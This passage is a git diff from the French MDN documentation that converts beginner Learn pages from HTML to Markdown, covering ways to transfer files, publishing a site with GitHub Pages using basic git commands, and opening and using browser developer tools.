ligne !</p> +## Prochaines étapes -<h3 id="D'autres_méthodes_pour_transférer_des_fichiers">D'autres méthodes pour transférer des fichiers</h3> - -<p>Le protocole FTP est l'une des méthodes les plus répandues pour publier un site web. Cependant, il en existe d'autres, en voici quelques unes :</p> - -<ul> - <li><strong>Les interfaces web</strong>. Votre hébergeur peut mettre à disposition une interface web qui permet de transférer des fichiers.</li> - <li><strong>GitHub</strong> (méthode avancée). Il est possible de transférer des fichiers grâce à {{Glossary("git")}} en utilisant des combinaison de méthodes qui sont liées aux opérations de commit/push. Pour plus d'informations, voir l'article sur <a href="/fr/Apprendre/Commencer_avec_le_web/Publier_votre_site_web">comment publier son site web</a> qui fait partie du guide <a href="/fr/Apprendre/Commencer_avec_le_web">Commencer avec le Web</a>.</li> - <li><strong>{{Glossary("Rsync")}}</strong> (méthode avancée). Un système de synchronisation de fichiers entre un système local et un système distant.</li> - <li><strong>{{Glossary("WebDAV")}}</strong>. Une extension du protocle {{Glossary("HTTP")}} qui permet de gérer des fichiers de façon plus avancée.</li> -</ul> - -<h2 id="Prochaines_étapes">Prochaines étapes</h2> - -<p>Félicitations, vous avez presque fini. Il reste encore une dernière étape importante : <a href="/fr/Apprendre/Checking_that_your_web_site_is_working_properly">vérifier que votre site fonctionne correctement</a>.</p> +Félicitations, vous avez presque fini. Il reste encore une dernière étape importante : [vérifier que votre site fonctionne correctement](/fr/Apprendre/Checking_that_your_web_site_is_working_properly). diff --git a/files/fr/learn/common_questions/using_github_pages/index.md b/files/fr/learn/common_questions/using_github_pages/index.md index 0a49b5cb64..934cbe9cc3 100644 --- a/files/fr/learn/common_questions/using_github_pages/index.md +++ b/files/fr/learn/common_questions/using_github_pages/index.md @@ -10,102 +10,96 @@ tags: translation_of: Learn/Common_questions/Using_Github_pages original_slug: Apprendre/Utiliser_les_pages_GitHub --- -<p><a href="https://github.com/">GitHub</a> est un site de partage de code, sur lequel on peut publier des projets dont le code est géré avec le système de gestion de version <a href="http://git-scm.com/">Git</a><strong>. </strong>Par défaut, le système est <em>open source</em>, ce qui signifie que tout le monde peut consulter le code, l'utiliser pour apprendre ou l'améliorer et collaborer aux projets. Vous pouvez donc participer à d'autres projets ou, à l'inverse, des personnes peuvent collaborer à vos projets ! Dans cet article, nous verrons comment publier du contenu sur le web en utilisant les « pages GitHub » (aussi appelées <em>gh-pages</em>) qui sont une des fonctionnalités de GitHub.</p> +[GitHub](https://github.com/) est un site de partage de code, sur lequel on peut publier des projets dont le code est géré avec le système de gestion de version [Git](http://git-scm.com/)**.** Par défaut, le système est _open source_, ce qui signifie que tout le monde peut consulter le code, l'utiliser pour apprendre ou l'améliorer et collaborer aux projets. Vous pouvez donc participer à d'autres projets ou, à l'inverse, des personnes peuvent collaborer à vos projets ! Dans cet article, nous verrons comment publier du contenu sur le web en utilisant les « pages GitHub » (aussi appelées _gh-pages_) qui sont une des fonctionnalités de GitHub. -<h2 id="Publier_du_contenu">Publier du contenu</h2> +## Publier du contenu -<p>GitHub est un outil très populaire et important à l'heure actuelle. Git est <a href="http://git-scm.com/book/fr/v1/D%C3%A9marrage-rapide-%C3%80-propos-de-la-gestion-de-version">un logiciel de gestion de version</a> reconnu, utilisé par de nombreuses entreprises. GitHub possède notamment une fonctionnalité : <a href="https://pages.github.com/">les pages GitHub</a>. Celles-ci vous permettent de publier un site web sur Internet.</p> +GitHub est un outil très populaire et important à l'heure actuelle. Git est [un logiciel de gestion de version](http://git-scm.com/book/fr/v1/D%C3%A9marrage-rapide-%C3%80-propos-de-la-gestion-de-version) reconnu, utilisé par de nombreuses entreprises. GitHub possède notamment une fonctionnalité : [les pages GitHub](https://pages.github.com/). Celles-ci vous permettent de publier un site web sur Internet. -<h3 id="Mettre_en_place_Git_et_un_compte_GitHub">Mettre en place Git et un compte GitHub</h3> +### Mettre en place Git et un compte GitHub -<ol> - <li>Tout d'abord, <a href="http://git-scm.com/downloads">installez Git</a> sur votre ordinateur. Git est le logiciel de gestion de version sur lequel fonctionne GitHub.</li> - <li>Ensuite, <a href="https://github.com/join">inscrivez-vous sur GitHub</a>. La procédure est plutôt simple.</li> - <li>Une fois inscrit, connectez vous à <a href="https://github.com">github.com</a> avec votre nom d'utilisateur et votre mot de passe.</li> -</ol> +1. Tout d'abord, [installez Git](http://git-scm.com/downloads) sur votre ordinateur. Git est le logiciel de gestion de version sur lequel fonctionne GitHub. +2. Ensuite, [inscrivez-vous sur GitHub](https://github.com/join). La procédure est plutôt simple. +3. Une fois inscrit, connectez vous à [github.com](https://github.com) avec votre nom d'utilisateur et votre mot de passe. -<div class="note"> -<p><strong>Note :</strong> Attention, le site GitHub existe uniquement en anglais. Bien que les étapes mentionnées ici soient relativement simples, il est préférable d'avoir quelques bases d'anglais afin de poursuivre sereinement (nul besoin de connaître Shakespeare ;)). Si vous n'êtes pas à l'aise, rassurez-vous, il existe de nombreux tutoriels en français sur le Web.</p> -</div> +> **Note :** Attention, le site GitHub existe uniquement en anglais. Bien que les étapes mentionnées ici soient relativement simples, il est préférable d'avoir quelques bases d'anglais afin de poursuivre sereinement (nul besoin de connaître Shakespeare ;)). Si vous n'êtes pas à l'aise, rassurez-vous, il existe de nombreux tutoriels en français sur le Web. -<h3 id="Préparer_le_code_afin_de_l'envoyer_vers_GitHub">Préparer le code afin de l'envoyer vers GitHub</h3> +### Préparer le code afin de l'envoyer vers GitHub -<p>Vous pouvez utiliser des dépôts GitHub pour stocker n'importe quel projet logiciel. Mais pour utiliser les pages GitHub et publier un site web (ce qui nous intéresse ici), votre projet devra être structuré comme un site web classique et notamment avec un fichier d'entrée intitulé <code>index.html</code>.</p> +Vous pouvez utiliser des dépôts GitHub pour stocker n'importe quel projet logiciel. Mais pour utiliser les pages GitHub et publier un site web (ce qui nous intéresse ici), votre projet devra être structuré comme un site web classique et notamment avec un fichier d'entrée intitulé `index.html`. -<p>Il faut aussi que le répertoire où le code est stocké soit un « dépôt » Git sur votre ordinateur. Autrement dit, on indique qu'on utilise Git pour gérer les différentes versions des fichiers qui seront stockés dans ce dossier. Pour initialiser un dépôt Git, on suivra ces étapes :</p> +Il faut aussi que le répertoire où le code est stocké soit un « dépôt » Git sur votre ordinateur. Autrement dit, on indique qu'on utilise Git pour gérer les différentes versions des fichiers qui seront stockés dans ce dossier. Pour initialiser un dépôt Git, on suivra ces étapes : -<ol> - <li>Utilisez la ligne de commande pour vous placer dans le répertoire de votre site web (dans cet article, ce répertoire sera appelé <code>test-site</code>, remplacez ce nom avec celui de votre répertoire). Pour ce faire, on utilisera la commande <code>cd</code> (qui signifie « <em>change directory</em> » ou « changer de répertoire/dossier » en français). Par exemple, si votre répertoire se situe sur votre bureau et se nomme <code>test-site</code>, vous pourrez taper : +1. Utilisez la ligne de commande pour vous placer dans le répertoire de votre site web (dans cet article, ce répertoire sera appelé `test-site`, remplacez ce nom avec celui de votre répertoire). Pour ce faire, on utilisera la commande `cd` (qui signifie « _change directory_ » ou « changer de répertoire/dossier » en français). Par exemple, si votre répertoire se situe sur votre bureau et se nomme `test-site`, vous pourrez taper : - <pre class="brush: bash">cd Bureau/test-site</pre> - </li> - <li>Lorsque vous êtes dans le répertoire de votre site web, utilisez la commande suivante. Celle-ci indiquera à Git que le répertoire doit être considéré comme un dépôt Git : - <pre class="brush: bash">git init</pre> - </li> -</ol> + ```bash + cd Bureau/test-site + ``` -<h4 id="Un_aparté_sur_les_interfaces_en_ligne_de_commande">Un aparté sur les interfaces en ligne de commande</h4> +2. Lorsque vous êtes dans le répertoire de votre site web, utilisez la commande suivante. Celle-ci indiquera à Git que le répertoire doit être considéré comme un dépôt Git : -<p>La meilleure façon d'envoyer votre code sur GitHub est d'utiliser l'interface en ligne de commande de votre ordinateur. La ligne de commande est une fenêtre où on saisit des commandes au clavier pour créer des fichiers, lancer des programmes, plutôt que de cliquer avec la souris en utilisant une interface graphique. Une interface en ligne de commande ressemblera à quelque chose comme ceci :</p> + ```bash + git init + ``` -<p><img alt="Interface en ligne de commande" src="commande.png"></p> +#### Un aparté sur les interfaces en ligne de commande -<div class="note"> -<p><strong>Note :</strong> Il existe également des <a href="http://git-scm.com/downloads/guis">interfaces graphiques pour Git</a> qui permettent de faire la même chose. N'hésitez pas à les utiliser si vous ne vous sentez pas à l'aise avec la ligne de commande.</p> -</div> +La meilleure façon d'envoyer votre code sur GitHub est d'utiliser l'interface en ligne de commande de votre ordinateur. La ligne de commande est une fenêtre où on saisit des commandes au clavier pour créer des fichiers, lancer des programmes, plutôt que de cliquer avec la souris en utilisant une interface graphique. Une interface en ligne de commande ressemblera à quelque chose comme ceci : -<p>Chaque système d'exploitation possède sa propre interface en ligne de commande :</p> + -<ul> - <li><strong>Windows</strong> : <strong>l'invite de commande</strong>. Celle-ci peut être lancée en utilisant la touche Windows et en tapant <em>Invite de commande</em> avant de sélectionner l'option dans la liste qui apparaît. Windows utilise certaines conventions différentes de celles choisies par Linux et OS X, les commandes peuvent donc varier légèrement (par exemple, dans Windows, on utilisera <code>\</code> pour indiquer un sous-répertoire alors que Linux et OS X utiliseront <code>/</code>).</li> - <li><strong>OS X</strong> : <strong>le terminal</strong>. On le trouvera dans <em>Applications > Utilitaires</em>.</li> - <li><strong>Linux</strong> : Généralement, on peut lancer un terminal avec le raccourci clavier <em>Ctrl + Alt + T</em>. Si cela ne fonctionne pas, recherchez <strong>Terminal</strong> dans les applications ou via les outils de recherche.</li> -</ul> +> **Note :** Il existe également des [interfaces graphiques pour Git](http://git-scm.com/downloads/guis) qui permettent de faire la même chose. N'hésitez pas à les utiliser si vous ne vous sentez pas à l'aise avec la ligne de commande. -<p>La ligne de commande peut sembler un peu effrayante au début mais ne vous inquiétez pas, vous pourrez apprendre les bases très rapidement. En utilisant la ligne de commande vous indiquez à l'ordinateur que vous souhaitez effectuer telle action, plutôt que de le faire à la souris, vous l'indiquez au clavier en saisissant la commande voulue puis en appuyant sur Entrée.</p> +Chaque système d'exploitation possède sa propre interface en ligne de commande : -<h3 id="Créer_un_dépôt_sur_GitHub_pour_votre_code">Créer un dépôt sur GitHub pour votre code</h3> +- **Windows** : **l'invite de commande**. Celle-ci peut être lancée en utilisant la touche Windows et en tapant _Invite de commande_ avant de sélectionner l'option dans la liste qui apparaît. Windows utilise certaines conventions différentes de celles choisies par Linux et OS X, les commandes peuvent donc varier légèrement (par exemple, dans Windows, on utilisera `\` pour indiquer un sous-répertoire alors que Linux et OS X utiliseront `/`). +- **OS X** : **le terminal**. On le trouvera dans _Applications > Utilitaires_. +- **Linux** : Généralement, on peut lancer un terminal avec le raccourci clavier _Ctrl + Alt + T_. Si cela ne fonctionne pas, recherchez **Terminal** dans les applications ou via les outils de recherche. -<ol> - <li>Ensuite, vous aurez besoin de créer un dépôt GitHub sur lequel envoyer les fichiers de votre site. Quand vous êtes connecté-e sur GitHub, cliquez sur l'icône Plus (+) en haut à droite de la page d'accueil puis sélectionner l'option <em>New Repository</em> (qui signifie « Créer un nouveau dépôt »).</li> - <li>Sur la page qui s'affiche, dans le champ « <em>Repository name</em> », entrez un nom pour votre dépôt. Vous pouvez par exemple saisir <em>mon-premier-depot</em>.</li> - <li>Il y a également un champ qui décrit le projet qui sera placé dans ce dépôt. Votre écran devrait ressembler à quelque chose comme :<br> - <img alt="" src="create-new-repo.png"></li> - <li>Ensuite, cliquez sur « <em>Create repository</em> » (pour créer le dépôt). Vous arrieverez alors sur la page suivante :<br> - <img alt="" src="github-repo.png"></li> -</ol> +La ligne de commande peut sembler un peu effrayante au début mais ne vous inquiétez pas, vous pourrez apprendre les bases très rapidement. En utilisant la ligne de commande vous indiquez à l'ordinateur que vous souhaitez effectuer telle action, plutôt que de le faire à la souris, vous l'indiquez au clavier en saisissant la commande voulue puis en appuyant sur Entrée. -<h3 id="Envoyer_vos_fichiers_vers_GitHub">Envoyer vos fichiers vers GitHub</h3> +### Créer un dépôt sur GitHub pour votre code -<ol> - <li>Sur cette page, une section vous intéresse particulièrement : « <em>…or push an existing repository from the command line</em> » (ce qui signifie « ou pousser un dépôt existant grâce à la ligne de commande »). Vous devrez voir deux lignes de codes sous cette section. Copiez la première ligne et collez la dans votre interface en ligne de commande puis tapez sur Entrée. La commande devrait ressembler à : +1. Ensuite, vous aurez besoin de créer un dépôt GitHub sur lequel envoyer les fichiers de votre site. Quand vous êtes connecté-e sur GitHub, cliquez sur l'icône Plus (+) en haut à droite de la page d'accueil puis sélectionner l'option _New Repository_ (qui signifie « Créer un nouveau dépôt »). +2. Sur la page qui s'affiche, dans le champ « _Repository name_ », entrez un nom pour votre dépôt. Vous pouvez par exemple saisir _mon-premier-depot_. +3. Il y a également un champ qui décrit le projet qui sera placé dans ce dépôt. Votre écran devrait ressembler à quelque chose comme : +  +4. Ensuite, cliquez sur « _Create repository_ » (pour créer le dépôt). Vous arrieverez alors sur la page suivante : +  - <pre>git remote add origin https://github.com/chrisdavidmills/mon-premier-depot.git</pre> - </li> - <li>Ensuite, saisissez ces deux commandes en tapant sur la touche Entrée après chacune. Ces commandes permettent d'indiquer à Git qu'il doit gérer tous les fichiers du dossier et d'enregistrer cette action. - <pre class="brush: bash">git add --all -git commit -m 'ajout des fichiers au dépôt'</pre> - </li> - <li>Enfin, envoyez le code sur GitHub en utilisant la seconde commande affichée sur la section de la page GitHub : - <pre class="brush: bash">git push -u origin master</pre> - </li> - <li>Votre code est publié sur GitHub. Pour avoir une page GitHub, vous devrez créer une <em>branche</em> <code>gh-pages</code> sur votre dépôt. Actualisez la page web de votre dépôt, vous devriez obtenir une page semblable à celle présentée ci-dessous. Ensuite, cliquez que le bouton « <em>Branch: <strong>master</strong></em> » (GitHub indique que vous êtes sur la branche <code>master</code> de votre dépôt). Dans la liste qui s'affiche, saisissez le texte <strong>gh-pages</strong> puis cliquez sur <em>Create branch: gh-pages</em> (« créer la branche intitulée gh-pages »). Cela créera une nouvelle branche pour votre dépôt, cette branche s'appellera gh-pages et sera publiée à un endroit spécifique. L'URL du site sera <em>nom-utilisateur.github.io/nom-du-depot</em>. Dans mon exemple, l'URL est donc <em>https://chrisdavidmills.github.io/my-repository</em>. La page qui est affichée à cette URL est la page <code>index.html</code> contenue dans le dépôt.<br> - <img alt="" src="repo-site.png"></li> - <li>Utilisez votre navigateur préféré pour visiter cette URL. Voici votre site ! Partagez le lien avec vos amis pour leur montrer :)</li> -</ol> +### Envoyer vos fichiers vers GitHub -<div class="note"> -<p><strong>Note :</strong> Si vous êtes bloqué-e, n'hésitez pas à utiliser <a href="https://pages.github.com/">la page d'aide GitHub sur les pages GitHub</a> qui est une excellente ressource (en anglais).</p> -</div> +1. Sur cette page, une section vous intéresse particulièrement : « _…or push an existing repository from the command line_ » (ce qui signifie « ou pousser un dépôt existant grâce à la ligne de commande »). Vous devrez voir deux lignes de codes sous cette section. Copiez la première ligne et collez la dans votre interface en ligne de commande puis tapez sur Entrée. La commande devrait ressembler à : -<h3 id="Aller_plus_loin_avec_Git_et_GitHub">Aller plus loin avec Git et GitHub</h3> + git remote add origin https://github.com/chrisdavidmills/mon-premier-depot.git -<p>Si vous souhaitez modifier votre site et le mettre à jour sur GitHub, modifiez les fichiers comme vous le faisiez auparavant puis utilisez les commandes suivantes pour indiquer les changements à Git et les envoyer sur GitHub (n'oubliez pas d'appuyer sur Entrée entre chaque commande) :</p> +2. Ensuite, saisissez ces deux commandes en tapant sur la touche Entrée après chacune. Ces commandes permettent d'indiquer à Git qu'il doit gérer tous les fichiers du dossier et d'enregistrer cette action. -<pre>git add --all -git commit -m 'Un autre commit' -git push</pre> + ```bash + git add --all + git commit -m 'ajout des fichiers au dépôt' + ``` -<p>Vous pouvez utiliser un autre message que « un autre commit » pour indiquer les changements que vous avez effectués.</p> +3. Enfin, envoyez le code sur GitHub en utilisant la seconde commande affichée sur la section de la page GitHub : -<p>Dans cet article, nous n'avons fait qu'effleurer la surface de Git. Pour en savoir plus, n'hésitez pas à utiliser les <a href="https://help.github.com/index.html">pages d'aide de GitHub</a> (en anglais) ou encore <a href="http://git-scm.com/book/fr/v1">le manuel Pro Git</a> (en français).</p> + ```bash + git push -u origin master + ``` + +4. Votre code est publié sur GitHub. Pour avoir une page GitHub, vous devrez créer une _branche_ `gh-pages` sur votre dépôt. Actualisez la page web de votre dépôt, vous devriez obtenir une page semblable à celle présentée ci-dessous. Ensuite, cliquez que le bouton « \*Branch: **master\*** » (GitHub indique que vous êtes sur la branche `master` de votre dépôt). Dans la liste qui s'affiche, saisissez le texte **gh-pages** puis cliquez sur _Create branch: gh-pages_ (« créer la branche intitulée gh-pages »). Cela créera une nouvelle branche pour votre dépôt, cette branche s'appellera gh-pages et sera publiée à un endroit spécifique. L'URL du site sera _nom-utilisateur.github.io/nom-du-depot_. Dans mon exemple, l'URL est donc _https\://chrisdavidmills.github.io/my-repository_. La page qui est affichée à cette URL est la page `index.html` contenue dans le dépôt. +  +5. Utilisez votre navigateur préféré pour visiter cette URL. Voici votre site ! Partagez le lien avec vos amis pour leur montrer :) + +> **Note :** Si vous êtes bloqué-e, n'hésitez pas à utiliser [la page d'aide GitHub sur les pages GitHub](https://pages.github.com/) qui est une excellente ressource (en anglais). + +### Aller plus loin avec Git et GitHub + +Si vous souhaitez modifier votre site et le mettre à jour sur GitHub, modifiez les fichiers comme vous le faisiez auparavant puis utilisez les commandes suivantes pour indiquer les changements à Git et les envoyer sur GitHub (n'oubliez pas d'appuyer sur Entrée entre chaque commande) : + + git add --all + git commit -m 'Un autre commit' + git push + +Vous pouvez utiliser un autre message que « un autre commit » pour indiquer les changements que vous avez effectués. + +Dans cet article, nous n'avons fait qu'effleurer la surface de Git. Pour en savoir plus, n'hésitez pas à utiliser les [pages d'aide de GitHub](https://help.github.com/index.html) (en anglais) ou encore [le manuel Pro Git](http://git-scm.com/book/fr/v1) (en français). diff --git a/files/fr/learn/common_questions/what_are_browser_developer_tools/index.md b/files/fr/learn/common_questions/what_are_browser_developer_tools/index.md index b8b05fb694..a3fd4a6299 100644 --- a/files/fr/learn/common_questions/what_are_browser_developer_tools/index.md +++ b/files/fr/learn/common_questions/what_are_browser_developer_tools/index.md @@ -13,158 +13,133 @@ tags: translation_of: Learn/Common_questions/What_are_browser_developer_tools original_slug: Apprendre/Découvrir_outils_développement_navigateurs --- -<div>{{IncludeSubnav("/fr/Apprendre")}}</div> +{{IncludeSubnav("/fr/Apprendre")}}{{Previous("Apprendre/Commencer_avec_le_web")}} -<div>{{Previous("Apprendre/Commencer_avec_le_web")}}</div> +Tous les navigateurs modernes possèdent un ensemble d'outils destinés aux développeurs. Ces outils permettent de réaliser différentes actions : inspecter le code HTML, CSS ou JavaScript chargé à la volée dans la page, montrer les fichiers téléchargés et le temps de chargement, etc. Dans cet article, nous verrons comment utiliser les fonctionnalités basiques des outils de développements d'un navigateur (parfois appelés avec l'anglicisme « _devtools_ »). -<p>Tous les navigateurs modernes possèdent un ensemble d'outils destinés aux développeurs. Ces outils permettent de réaliser différentes actions : inspecter le code HTML, CSS ou JavaScript chargé à la volée dans la page, montrer les fichiers téléchargés et le temps de chargement, etc. Dans cet article, nous verrons comment utiliser les fonctionnalités basiques des outils de développements d'un navigateur (parfois appelés avec l'anglicisme « <em>devtools</em> »).</p> +> **Note :** Avant de poursuivre avec les exemples présentés ci-après, nous vous conseillons d'utiliser [l'exemple construit](http://mdn.github.io/beginner-html-site-scripted/) dans la série d'articles [Commencer avec le Web](/fr/Apprendre/Commencer_avec_le_web) et d'ouvrir le site dans votre navigateur pour poursuivre avec les étapes suivantes. -<div class="note"> -<p><strong>Note :</strong> Avant de poursuivre avec les exemples présentés ci-après, nous vous conseillons d'utiliser <a href="http://mdn.github.io/beginner-html-site-scripted/">l'exemple construit</a> dans la série d'articles <a href="/fr/Apprendre/Commencer_avec_le_web">Commencer avec le Web</a> et d'ouvrir le site dans votre navigateur pour poursuivre avec les étapes suivantes.</p> -</div> +## Comment ouvrir les outils de développement d'un navigateur -<h2 id="Comment_ouvrir_les_outils_de_développement_d'un_navigateur">Comment ouvrir les outils de développement d'un navigateur</h2> +Les _devtools_ s'affichent généralement dans une sous-fenêtre du navigateur, de la façon suivante (cela peut varier légèrement) : -<p>Les <em>devtools</em> s'affichent généralement dans une sous-fenêtre du navigateur, de la façon suivante (cela peut varier légèrement) :</p> + -<p><img alt="Affichage de la fenêtre principale avec les devtools ouverts" src="DSC02620.png"></p> +Comment faire pour que cette sous-fenêtre apparaisse ? Trois méthodes : -<p>Comment faire pour que cette sous-fenêtre apparaisse ? Trois méthodes :</p> +- **_Au clavier._** _Ctrl + Shift + I_, sauf pour : -<ul> - <li><em><strong>Au clavier.</strong></em> <em>Ctrl + Shift + I</em>, sauf pour : + - **Internet Explorer.** _F12_ + - **Mac OS X.** *⌘ + ⌥ + I* - <ul> - <li><strong>Internet Explorer. </strong><em>F12 </em></li> - <li><strong>Mac OS X. </strong><em>⌘ + ⌥ + I </em></li> - </ul> - </li> - <li><em><strong>Via les menus. </strong></em> - <ul> - <li><strong>Firefox. </strong>Menu <em>➤ </em><em>Développement ➤ Outils de développement </em>ou <em>Outils</em><em> ➤</em><em> Développement Web ➤ Outils de développement</em></li> - <li><strong>Chrome.</strong> <em>Affichage ➤ Développement ➤ Outils de développement</em></li> - <li><strong>Safari.</strong> <em>Développement ➤ Afficher l'inspecteur web.</em> Si vous ne pouvez pas voir le menu <em>Développement</em>, aller sous <em>Safari ➤ Préférences ➤ Avancé</em> et vérifiez que l'option <em>Afficher le menu de développement</em> est bien coché. </li> - <li><strong>Opera</strong>. <em>Développement ➤ Inspecteur web</em></li> - </ul> - </li> - <li><strong><em>Via un menu contextuel.</em></strong> Cliquez-droit sur un élément de la page web (ou ctrl+clic sur Mac) et sélectionnez <em>Examiner l'élément</em> dans le menu qui apparait (<em>Bonus : </em>cette méthode ouvrira l'inspecteur et sélectionnera directement l'élément en question !).</li> -</ul> +- **_Via les menus._** -<p><img alt="Menu contextuel suite au clic-droit" src="devtools.png"></p> + - **Firefox.** Menu _➤_ _Développement ➤ Outils de développement_ ou _Outils_ _➤_ _Développement Web ➤ Outils de développement_ + - **Chrome.** _Affichage ➤ Développement ➤ Outils de développement_ + - **Safari.** _Développement ➤ Afficher l'inspecteur web._ Si vous ne pouvez pas voir le menu _Développement_, aller sous _Safari ➤ Préférences ➤ Avancé_ et vérifiez que l'option _Afficher le menu de développement_ est bien coché. + - **Opera**. _Développement ➤ Inspecteur web_ -<h2 id="L'inspecteur_explorateur_du_DOM_et_éditeur_CSS">L'inspecteur : explorateur du DOM et éditeur CSS</h2> +- **_Via un menu contextuel._** Cliquez-droit sur un élément de la page web (ou ctrl+clic sur Mac) et sélectionnez _Examiner l'élément_ dans le menu qui apparait (_Bonus :_ cette méthode ouvrira l'inspecteur et sélectionnera directement l'élément en question !). -<p>Lorsqu'ils s'ouvrent, les outils de développement s'affichent comme illustré dans la capture d'écran ci-après. Cet outil permet de voir le HTML présent sur la page au moment où celle-ci est affiché, de façon dynamique. Il permet aussi de voir quelles règles CSS sont appliquées pour chaque élément de la page. Grâce à cet outil, on peut modifier le HTML et le CSS de façon instantanée et voir les changements appliqués immédiatement à la page affichée dans le navigateur.</p> + -<p><img alt="Affichage de la fenêtre principale avec les devtools ouverts" src="DSC02620.png"></p> +## L'inspecteur : explorateur du DOM et éditeur CSS -<p>Si vous n'arrivez pas sur l'inspecteur :</p> +Lorsqu'ils s'ouvrent, les outils de développement s'affichent comme illustré dans la capture d'écran ci-après. Cet outil permet de voir le HTML présent sur la page au moment où celle-ci est affiché, de façon dynamique. Il permet aussi de voir quelles règles CSS sont appliquées pour chaque élément de la page. Grâce à cet outil, on peut modifier le HTML et le CSS de façon instantanée et voir les changements appliqués immédiatement à la page affichée dans le navigateur. -<ul> - <li>Cliquez ou appuyez l'onglet <em>Inspecteur</em>.</li> - <li>Sous Internet Explorer, cliquez ou appuyez sur <em>Explorateur DOM</em>, ou appuyez sur Ctrl + 1.</li> - <li>Sous Safari, les contrôles n'apparaissent pas clairement mais vous devriez voir le code HTML si vous n'avez rien sélectionné d'autre. Pour voir le code CSS, appuyez sur le bouton <em>Style</em>.</li> -</ul> + -<h3 id="Manipuler_l'inspecteur_du_DOM">Manipuler l'inspecteur du DOM</h3> +Si vous n'arrivez pas sur l'inspecteur : -<p>Pour commencer, cliquez-droit sur un élément HTML dans l'inspecteur du DOM et regardez le menu contextuel qui s'affiche. Les options du menu qui apparaît peuvent varier d'un navigateur à un autre mais les options les plus importantes s'y trouvent toujours :</p> +- Cliquez ou appuyez l'onglet _Inspecteur_. +- Sous Internet Explorer, cliquez ou appuyez sur _Explorateur DOM_, ou appuyez sur Ctrl + 1. +- Sous Safari, les contrôles n'apparaissent pas clairement mais vous devriez voir le code HTML si vous n'avez rien sélectionné d'autre. Pour voir le code CSS, appuyez sur le bouton _Style_. -<p><img alt="Menu contextuel ouvert suite à un clic-droit sur un élément HTML dans l'explorateur du DOM" src="menu_contextuel.png"></p> +### Manipuler l'inspecteur du DOM -<ul> - <li><strong>Supprimer le nœud</strong> (parfois <em>Supprimer l'élément</em>) : supprime l'élément sélectionné du document.</li> - <li><strong>Modifier comme HTML</strong> (parfois <em>Ajouter un attribut</em>/<em>Éditer le texte</em>) : permet de changer le HTML et de voir le résultat obtenu à la volée (en <em>live</em>). Cette option est très utile pour déboguer ou tester.</li> - <li><strong>:hover/:active/:focus</strong> : force l'état d'un élément à être actif afin de pouvoir voir ce que la mise en forme donne pour cet état.</li> - <li><strong>Copier/Copier comme HTML</strong> : permet de copier l'élément HTML actuellement sélectionné.</li> - <li>Certains navigateurs disposent également d'options comme <em>Copier le chemin CSS</em> et/ou <em>Copier le chemin XPath</em> qui permettent de copier le sélecteur CSS ou l'expression XPath qui permettrait de sélectionner l'élément HTML en cours.</li> -</ul> +Pour commencer, cliquez-droit sur un élément HTML dans l'inspecteur du DOM et regardez le menu contextuel qui s'affiche. Les options du menu qui apparaît peuvent varier d'un navigateur à un autre mais les options les plus importantes s'y trouvent toujours : -<p>Essayez d'éditer le DOM de votre page. Double-cliquez sur un élément ou cliquez-droit puis choisissez « Modifier comme HTML » depuis le menu contextuel. Vous pouvez modifier tout ce que vous voulez mais vous ne pouvez pas sauvegarder vos modifications.</p> + -<h3 id="Manipuler_l'éditeur_CSS">Manipuler l'éditeur CSS</h3> +- **Supprimer le nœud** (parfois _Supprimer l'élément_) : supprime l'élément sélectionné du document. +- **Modifier comme HTML** (parfois _Ajouter un attribut_/_Éditer le texte_) : permet de changer le HTML et de voir le résultat obtenu à la volée (en _live_). Cette option est très utile pour déboguer ou tester. +- **:hover/:active/:focus** : force l'état d'un élément à être actif afin de pouvoir voir ce que la mise en forme donne pour cet état. +- **Copier/Copier comme HTML** : permet de copier l'élément HTML actuellement sélectionné. +- Certains navigateurs disposent également d'options comme _Copier le chemin CSS_ et/ou _Copier le chemin XPath_ qui permettent de copier le sélecteur CSS ou l'expression XPath qui permettrait de sélectionner l'élément HTML en cours. -<p>Par défaut, l'éditeur CSS affiche les règles CSS qui s'appliquent à l'élément qui est sélectionné :</p> +Essayez d'éditer le DOM de votre page. Double-cliquez sur un élément ou cliquez-droit puis choisissez « Modifier comme HTML » depuis le menu contextuel. Vous pouvez modifier tout ce que vous voulez mais vous ne pouvez pas sauvegarder vos modifications. -<p><img alt="" src="css-viewer-2.png"></p> +### Manipuler l'éditeur CSS -<p>Ces fonctionnalités sont plutôt pratiques :</p> +Par défaut, l'éditeur CSS affiche les règles CSS qui s'appliquent à l'élément qui est sélectionné : -<ul> - <li>Les règles qui s'appliquent à l'élément courant sont affichées en commençant avec les règles les plus spécifiques et en terminant avec les règles les moins spécifiques.</li> - <li>Il est possible de cocher les boîtes à côté de chaque déclaration pour voir l'effet qui serait obtenu si la déclaration était supprimée.</li> - <li>Vous pouvez cliquer sur la petite flèche à côté de chaque propriété en notation résumée pour voir les équivalents en notation détaillée.</li> - <li>Vous pouvez cliquer sur le nom d'une propriété ou d'une valeur pour éditer une valeur en live et immédiatement voir le changement.</li> - <li>À côté de chaque règle, si celle-ci est « dépliée », vous pouvez voir le nom du fichier et la ligne sur laquelle la règle est définie. En cliquant sur le lien, vous arriverez directement sur le fichier CSS que vous pourrez éditer et sauvegarder.</li> - <li>Vous pouvez également cliquer sur l'accolade fermant d'une règle donnée pour afficher une nouvelle zone de texte dans laquelle vous pourrez écrire une toute nouvelle déclaration.</li> -</ul> + -<p>Vous aurez remarqué plusieurs onglets en haut du panneau pour le CSS :</p> +Ces fonctionnalités sont plutôt pratiques : -<ul> - <li><em>Calculé </em>: cet onglet affiche les styles calculés pour l'élément sélectionné (les valeurs finales, normalisées, appliquées par le navigateur).</li> - <li><em>Modèle de boîte </em>: cet onglet représente visuellement le modèle de boîte pour l'élément sélectionner afin de visualiser rapidement le <em>padding</em> (rembourrage), la bordure et la marge appliquée à l'élément. Il permet aussi de voir la taille du contenu.</li> - <li><em>Polices </em>: Dans Firefox, cet onglet affiche les polices appliquées à l'élément sélectionné.</li> -</ul> +- Les règles qui s'appliquent à l'élément courant sont affichées en commençant avec les règles les plus spécifiques et en terminant avec les règles les moins spécifiques. +- Il est possible de cocher les boîtes à côté de chaque déclaration pour voir l'effet qui serait obtenu si la déclaration était supprimée. +- Vous pouvez cliquer sur la petite flèche à côté de chaque propriété en notation résumée pour voir les équivalents en notation détaillée. +- Vous pouvez cliquer sur le nom d'une propriété ou d'une valeur pour éditer une valeur en live et immédiatement voir le changement. +- À côté de chaque règle, si celle-ci est « dépliée », vous pouvez voir le nom du fichier et la ligne sur laquelle la règle est définie. En cliquant sur le lien, vous arriverez directement sur le fichier CSS que vous pourrez éditer et sauvegarder. +- Vous pouvez également cliquer sur l'accolade fermant d'une règle donnée pour afficher une nouvelle zone de texte dans 